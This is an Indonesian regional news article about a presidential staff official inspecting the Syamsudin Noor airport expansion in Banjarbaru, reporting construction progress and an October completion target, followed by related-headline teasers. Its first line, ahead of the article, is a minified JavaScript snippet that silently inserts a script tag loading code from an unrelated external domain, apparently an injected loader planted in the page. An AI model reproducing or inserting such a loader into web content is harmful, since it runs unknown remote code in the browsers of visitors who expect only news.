(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Megaproyek pengembangan perluasan Bandara Syamsudin Noor terus menjadi perhatian pemerintah pusat. Tenaga Ahli Utama Kantor Staf Presiden (KSP) Republik Indonesia, Febry Calvin Tetelepta sambangi proyek pengembangan Bandara Syamsudin Noor yang digadang menjadi bandara internasional itu, Selasa (2/4) siang.
Dikatakan Tenaga Ahli Utama Kedeputian Bidang Pengendalian, Pembangunan, Monitoring dan Evaluasi Program Prioritas KSP RI ini, pihaknya mempunyai kewajiban untuk memantau sekaligus mengendalikan program prioritas pimpinan negara.
“Bandara Syamsudin Noor ini merupakan PSN (Program Strategis Nasional) yang penting, karena menjadi pintu masuk bagi Kalsel, apalagi statusnya akan menjadi bandara internasional. Untuk itu kita harus memastikan langsung sesuai instruksi bapak Presiden,†kata Febry.
Dalam peninjauannya, Febry Alvin didampingi Pimpinan Produksi Proyek Pengembangan Bandara, Dadang Dian Hendiana dan General Manager PT Angkasa Pura I Syamsudin Noor, Endah Preastuty.
Terhitung pada 24 Maret lalu, diketahui proyek pengembangan Bandara Syamsudin Noor telah mencapai 58,98 persen. Dijelaskan Pimpro Pengembangan Bandara Syamsudin Noor, Dadang Dian, untuk progres Paket I yaitu gedung terminal saat ini pekerjaannya di 47,56 %. Sementara untuk progres Paket II yang meliputi pengembangan fasilitas penunjang seperti gedung kargo, gedung administrasi dan klinik, gedung PKP-PK, masjid/mushola, security office, gedung ACS, dan workshop, pekerjaannya saat ini telah mencapai diangka 75,75 %.
Terlihat kini tampilan bangunan-bangunan megah yang kini telah di cat dengan warna elegan. Selain itu bagian Apron kini telah di aspal dan sebagian lagi masih dilakukan pengecoran.
Pimpro Pengembangan Bandara, Dadang Dian Hendiana mengatakan pihaknya yakin target tuntas Bandara Syamsudin Noor yang baru dapat terselesaikan pada Oktober nanti.
“Dengan timeline ini kita yakin Bandara dapat selesai sesuai yang ditargetkan pada bulan Oktober nanti dan dapat beroperasi pada bulan November,†pungkasnya.
Di sisi lain dari hasil peninjauan, Febry mencatat ada beberapa poin penting hasil dari kunjungan tersebut. Salah satunya katanya adalah soal komunikasi dan menyamakan visi. Yakni antar stakeholder maupun instansi yang terkait dengan Satker Proyek Pengembangan Bandara Syamsudin Noor Banjarmasin (PPBDJ).
“Melihat progres saat ini, saya melihat semangat dan kerja keras semuanya baik itu satker, stakeholder lain seperti PLN, PDAM dan Telkom serta pemda di sini. Saya pikir target operasional Oktober atau November memang bisa tercapai,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
This website uses cookies.